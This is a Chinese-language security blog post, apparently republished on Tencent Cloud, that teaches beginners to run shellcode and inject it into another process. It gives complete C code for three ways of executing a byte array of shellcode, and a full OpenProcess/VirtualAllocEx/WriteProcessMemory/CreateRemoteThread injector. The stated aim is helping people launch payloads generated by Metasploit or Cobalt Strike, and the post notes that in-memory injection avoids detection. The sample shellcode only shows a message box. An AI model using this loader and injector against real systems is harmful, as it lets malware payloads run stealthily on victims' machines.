前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Shellcode注入进程内存及调用

Shellcode注入进程内存及调用

作者头像
Gamma实验室
发布2021-02-12 13:55:56
9360
发布2021-02-12 13:55:56
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室

前言:shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

今天讲一下shellcode的调用及内存注入的一个案例。

想必好多新手在玩MSF,CS能生成shellcode的马子,但是shellcode生成后....不会调用,所以来讲一下shellcode的调用。

  1. 调用Shellcode 因为便于演示,下面的这段shellcode是一个MessageBox弹框
代码语言:javascript
复制
unsigned char  shellcode[]=
  "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
     "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
     "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
     "\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
     "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
     "\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
     "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
     "\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
     "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
     "\x33\xDB\x53\x68\x74\x20\x00\x00\x68\x69\x6b\x61\x73\x68\x53\x61"
     "\x6e\x64\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x8B\xE6\xC3";

第一种调用:通过VirtualAlloc申请一块内存空间,VirtualAlloc如果调用成功,返回分配的首地址,否则为NULL。然后进行memcpy将Shellcode复制到VirtualAlloc申请的内存中,进行调用!这里说一句废话,如果VirtualAlloc申请失败返回NULL的情况下,通过GetLastError()进行获取错误信息!

这里顺手贴一下VirtualAlloc这个函数的用法

代码语言:javascript
复制
unsigned char  shellcode[]=
  "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
     "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
     "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
     "\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
     "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
     "\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
     "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
     "\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
     "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
     "\x33\xDB\x53\x68\x74\x20\x00\x00\x68\x69\x6b\x61\x73\x68\x53\x61"
     "\x6e\x64\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x8B\xE6\xC3";
//代码如下
 typedef void(*CODE)();  //定义一个函数指针
  LPVOID codes = NULL;//初始化一下codes
  codes  = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  memcpy(codes,shellcode,sizeof(shellcode));//将shellcode内容复制到codes这块内存里面,第三参数是大小
  CODE c = (CODE)codes;
  c();//直接调用即可

如下图,成功调用

第二种调用:通过malloc也是可以哒

这里malloc申请了一块堆内存,然后将shellcode Copy到temp里即可。

和上面那种差不多~

代码语言:javascript
复制
  unsigned char  shellcode[]=
  "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
     "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
     "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
     "\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
     "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
     "\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
     "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
     "\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
     "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
     "\x33\xDB\x53\x68\x74\x20\x00\x00\x68\x69\x6b\x61\x73\x68\x53\x61"
     "\x6e\x64\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x8B\xE6\xC3";
  
  typedef void(*CODE)();  
  int size = sizeof(shellcode);
  char* temp = (char*)malloc(size);
  memcpy(temp,shellcode,size);
  CODE c = (CODE)temp;
  c();

如下图,调用成功

第三种调用:

比较快捷简便,汇编调用。将shellcode的地址传给eax寄存器,然后直接jmp进行跳转过去。其实还有很多种调用方式...只要你思路够多肯定就行。

代码语言:javascript
复制
    __asm{
      lea eax,shellcode
      jmp eax
    }

简单介绍上面三种shellcode调用应该也够新手们用了!剩下的举一反三即可。

2. 利用Shellcode注入到进程内存

Shellcode注入到到进程内存发现的概率比较低,因为注入的Shellcode没有保存在磁盘文件。弊端:当目标应用程序关闭,或者系统重启机就凉凉,还有就是加载器被发现,也凉凉~

OpenProcess(获取进程句柄)--->VirtualAllocEx(在目标进程申请一块内存)-->WriteProcessMemory拷贝过去-->CreateRemoteThread(在其它进程创建线程)

代码语言:javascript
复制
  第一个参数是进程权限//PROCESS_ALL_ACCESS所有能获得的权限, 
  第三个参数是进程ID 
  HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS,NULL,19524);
  
  VirtualAllocEx这个函数和VirtualAlloc差不多,可以看上面解释的图
  第一个参数是传入的进程句柄,第三个是大小,申请成功后,返回了p  
  LPVOID p = VirtualAllocEx(hprocess,NULL,sizeof(shellcode)+1,MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
  
  第一个参数是进程句柄,然后将shellcode拷贝到申请的内存空间里面
  BOOL writes = WriteProcessMemory(hprocess,p,shellcode,sizeof(shellcode)+1,NULL);
  
  在进程里创建了一个线程,并直接调用了

  HANDLE h1 = CreateRemoteThread(hprocess,NULL,0,(LPTHREAD_START_ROUTINE)p,0,0,NULL);

接下来的话,以fei鸽模拟为受害程序

如上图,成功将Shellcode注入到内存...全部代码如下

代码语言:javascript
复制
#include "stdafx.h"
#include <windows.h>
#include <stdlib.h>

unsigned char  shellcode[]=
  "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
     "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
     "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
     "\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
     "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
     "\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
     "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
     "\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
     "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
     "\x33\xDB\x53\x68\x74\x20\x00\x00\x68\x69\x6b\x61\x73\x68\x53\x61"
     "\x6e\x64\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x8B\xE6\xC3";
void LoadDll(){
  HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS,NULL,19524);
    LPVOID p = VirtualAllocEx(hprocess,NULL,sizeof(shellcode)+1,MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
  BOOL writes = WriteProcessMemory(hprocess,p,shellcode,sizeof(shellcode)+1,NULL);
  HANDLE h1 = CreateRemoteThread(hprocess,NULL,0,(LPTHREAD_START_ROUTINE)p,0,0,NULL);
}
int main(int argc, char* argv[])
{
  LoadDll();
  getchar();
  return 0;
}
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-02-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档